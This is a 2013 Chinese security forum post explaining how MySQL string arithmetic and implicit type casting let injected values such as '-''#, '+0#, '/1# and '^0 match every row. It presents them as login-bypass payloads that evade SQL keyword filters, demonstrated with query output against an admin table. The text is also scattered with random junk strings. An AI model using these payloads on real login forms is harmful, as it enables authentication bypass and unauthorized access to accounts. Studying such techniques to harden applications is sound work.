找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2116|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我们先来看这样一个场景。" P/ {- z( {$ _
有以下表结构: 9 N( y3 S' q+ j$ ?  \' }
- P8 y% N% b7 `
mysql> desc admin;4 s6 o; Y1 F# [& @- d5 K; d
+----------+--------------+------+-----+---------+----------------+
- c8 [/ l/ g& I/ M- Y| Field    | Type         | Null | Key | Default | Extra          |
5 H  l  B. F! l2 x6 h0 [. q+----------+--------------+------+-----+---------+----------------+# z' u7 ~# x: x& L: N
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |7 {) A" e% |+ |: ?8 V8 y
| name     | char(32)     | NO   | UNI | NULL    |                |
7 @5 P, x6 h9 g  [+ ?  O( B, h: i| password | char(32)     | NO   | UNI | NULL    |                |
- u2 Y, u9 a- O8 c+----------+--------------+------+-----+---------+----------------+8 q3 Q" ^- W6 A5 J
3 rows in set (0.00 sec)
; a5 G% o7 i7 s; _$ z9 C8 ~5 k3 h- x执行select * from admin;,成功返回所有记录内容。
5 v$ y' s$ X; n+ ~/ h- j3 d; W1 f# p  `7 F

. ^" `' w0 ], n; K4 x7 I1 }+----+--------+----------------------------------+
8 d0 i0 b. T5 j  O: @0 O9 X| id | name   | password                         |
9 J$ j. l4 N3 D+----+--------+----------------------------------+
- ~& u8 W( C1 K. L) N0 I|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
: J$ a& d) {: V+ R|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |7 ?: s, d& U2 K- R: {1 C3 h
|  4 | n00b   | ff80e8508d39047460921792273533a4 |1 k: E+ b( c% l/ ]2 L! G; W- {
+----+--------+----------------------------------+
- q: ^' u3 O( P- t) C% J# x3 rows in set (0.00 sec)' j# |1 m+ M4 }0 \- c
执行select * from admin where name=”;,没有匹配到任何记录。
! ~, P$ A$ U) H
+ w' g) l; P9 t7 g5 Kmysql> select * from admin where name = '';/ v9 o2 H' O% ?) L& ^7 {
Empty set (0.00 sec)
# ^# H! O- S/ d2 ]; n  [, B& t那么我们来执行select * from admin where name = ”-”;; X# c( k/ w$ h+ V% y6 e

: P( g" G1 n  E# F1 x4 t( N, z. @1 l' R0 E
+----+--------+----------------------------------+
+ B% o5 y- X8 X| id | name   | password                         |; c6 R5 H' W& E* y* L  ~% H( ]
+----+--------+----------------------------------+
: ?% P: d, b' s6 ||  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
0 ?8 D, m9 o1 R. {9 H) A' c|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |8 ?7 G3 d9 N5 s% T$ g! L, s. K
|  4 | n00b   | ff80e8508d39047460921792273533a4 |+ B# v# R- s7 d6 m2 M. i
+----+--------+----------------------------------+3 t7 r7 _5 y0 V4 a- _
3 rows in set, 3 warnings (0.00 sec)
& I- `0 b6 n+ ?& F) U" R可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: ' K2 J) q7 x: E, ^+ _
! I, ]; B, H& W/ J# ?
mysql> show warnings;
* r3 }9 v6 L; M& |5 H) g+---------+------+------------------------------------------" L# l& ~) z# a/ \7 g
| Level   | Code | Message7 n0 k& d7 X' }- j% O( s3 x# m4 v
+---------+------+------------------------------------------
& }1 Y; T0 k* H2 H, c0 I; i' P0 ?| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
: U8 I* P* a1 D$ E7 ?| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
1 q/ V8 }- W8 I( C: V$ p5 l# I| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
% i" F5 c3 b3 ~% U! ]) p: \4 P, g+---------+------+------------------------------------------; c! C0 Z% _3 D! }- u0 n1 x# n1 [
3 rows in set (0.00 sec)( s; a8 p8 Y( N
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
1 k0 I; D9 W; Y% I
: d: I' e. S8 M' X0 a$ m, S4 Cmysql> select ''-'';
  a6 G2 R- O2 z0 ?( [+-------+& z* |) i  J' P/ X/ A) D
| ''-'' |
/ y1 W, p( h$ C; D: a+-------+, |1 B2 U' q" m) M& q
|     0 |7 O9 t9 s' E5 W# b2 x$ [* ]6 u
+-------+* @8 W1 I6 U8 J0 M( v3 ?
1 row in set (0.00 sec)" v) B% I& e# S3 C( K' V- }
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ' b5 V/ n1 [" u! k. f: a

; e: b8 L+ w( j9 e0 {/ jmysql> select CAST((select name from admin limit 1,1) as DECIMAL);* B- C3 f2 G. ^
+-----------------------------------------------------+7 ^" e" l/ _8 s3 W
| CAST((select name from admin limit 1,1) as DECIMAL) |
7 ?! L- o0 q* Q/ _8 U$ @+-----------------------------------------------------+
: z3 s$ T6 w. o$ l2 Z7 x, `, K|                                                   0 |; I8 s% Y# W* D- }: L9 G' u0 ]3 x: m9 l0 i
+-----------------------------------------------------+
7 q9 p3 ?9 e4 I6 a1 row in set, 1 warning (0.00 sec)
" m. H! {/ L5 O- q; f5 U2 }因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ( Y& b1 T1 `$ N, s& q
9 S4 h" [  @5 [
SQL注入场景: http://www.sqlzoo.net/hack/ 8 ]) J8 E5 H+ `
% t! _) i3 I  U! c3 L3 O) {  E
! C! x& o' K' e$ |. K' l

- w, m' G  G$ i7 C* F7 N& b, b3 Y6 ^+ M% s7 |7 W$ o& _0 z6 W
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 : N- Q5 [& ]5 G+ D& S# H, @" M

! o2 I$ j; N0 Z那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 8 K. k# \9 u0 i8 J4 o
* t$ b/ _4 _- S' |4 V, V

" E$ U: }4 e- H  ?' M% A: a
" c3 S$ m" |; |3 Z0 p: r- t3 I( L1 M3 I5 t" ]% ?
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 / X1 S! u6 w4 F1 j
& ]1 n6 h( Z  z% @/ Q
   
0 J. P4 W% |( x1 `
; b5 W- ?: W/ t3 e& q除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可  y  L8 Q7 J) A: U4 r5 N1 M0 @- g3 n

' |, k, m+ f, x
3 i- |/ B5 V' I* vmysql> select ''/1;
# M: P& |8 G; e  q) b. f$ [+------+- c0 q. o0 Q) j8 x* Q
| ''/1 |
1 v  ], J+ F7 W+------+' A$ u# C2 h, m7 [
|    0 |
  C0 ?0 K! r' J5 y5 t+------+
# C: F/ J* r( j8 e' M' q1 row in set (0.00 sec)6 v- R$ i# U; m. H; s3 D
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  + C. l- f, F7 X: ^4 X1 U# u' A
5 I6 Z& [9 V# ~) L9 _5 H- p
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。& K7 `# O, G% ^% p% \- K  O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表